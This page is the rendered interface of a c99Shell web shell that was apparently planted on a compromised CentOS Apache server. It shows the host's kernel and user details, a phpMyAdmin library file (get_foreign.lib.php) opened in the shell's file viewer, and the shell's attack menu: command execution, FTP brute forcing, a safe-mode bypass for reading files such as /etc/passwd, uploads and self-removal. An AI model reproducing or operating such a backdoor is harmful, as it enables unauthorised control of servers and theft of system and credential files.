!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     get_foreign.lib.php (3.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* $Id: get_foreign.lib.php,v 2.10 2006/01/17 17:02:30 cybot_tm Exp $ */
// vim: expandtab sw=4 ts=4 sts=4:


/**
 * Gets foreign keys in preparation for a drop-down selector
 * Thanks to <markus@noga.de>
 */


// lem9: we always show the foreign field in the drop-down; if a display
// field is defined, we show it besides the foreign field
$foreign_link false;
if (
$foreigners && isset($foreigners[$field])) {
    
$foreigner       $foreigners[$field];
    
$foreign_db      $foreigner['foreign_db'];
    
$foreign_table   $foreigner['foreign_table'];
    
$foreign_field   $foreigner['foreign_field'];

    
// Count number of rows in the foreign table. Currently we do
    // not use a drop-down if more than 200 rows in the foreign table,
    // for speed reasons and because we need a better interface for this.
    //
    // We could also do the SELECT anyway, with a LIMIT, and ensure that
    // the current value of the field is one of the choices.

    
$the_total   PMA_countRecords($foreign_db$foreign_tableTRUE);

    if ((isset(
$override_total) && $override_total == true) || $the_total $cfg['ForeignKeyMaxLimit']) {
        
// foreign_display can be FALSE if no display field defined:
        
$foreign_display PMA_getDisplayField($foreign_db$foreign_table);

        
$f_query_main 'SELECT ' PMA_backquote($foreign_field)
                        . ((
$foreign_display == FALSE) ? '' ', ' PMA_backquote($foreign_display));
        
$f_query_from ' FROM ' PMA_backquote($foreign_db) . '.' PMA_backquote($foreign_table);
        
$f_query_filter = empty($foreign_filter) ? '' ' WHERE ' PMA_backquote($foreign_field)
                            . 
' LIKE "%' PMA_sqlAddslashes($foreign_filterTRUE) . '%"'
                            
. (($foreign_display == FALSE) ? '' ' OR ' PMA_backquote($foreign_display)
                                . 
' LIKE "%' PMA_sqlAddslashes($foreign_filterTRUE) . '%"'
                                
);
        
$f_query_order = ($foreign_display == FALSE) ? '' :' ORDER BY ' PMA_backquote($foreign_table) . '.' PMA_backquote($foreign_display);
        
$f_query_limit = isset($foreign_limit) ? $foreign_limit '';

        if (!empty(
$foreign_filter)) {
            
$res PMA_DBI_query('SELECT COUNT(*)' $f_query_from $f_query_filter);
            if (
$res) {
                
$the_total PMA_DBI_fetch_value($res);
                @
PMA_DBI_free_result($res);
            } else {
                
$the_total 0;
            }
        }

        
$disp            PMA_DBI_query($f_query_main $f_query_from $f_query_filter $f_query_order $f_query_limit);
        if (
$disp) {
            
// garvin: If a resultset has been created, pre-cache it in the $disp_row array
            // This helps us from not needing to use mysql_data_seek by accessing a pre-cached
            // PHP array. Usually those resultsets are not that big, so a performance hit should
            // not be expected.
            
$disp_row = array();
            while (
$single_disp_row = @PMA_DBI_fetch_assoc($disp)) {
                
$disp_row[] = $single_disp_row;
            }
            @
PMA_DBI_free_result($disp);
        }
    } else {
        unset(
$disp_row);
        
$foreign_link true;
    }
}  
// end if $foreigners

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0144 ]--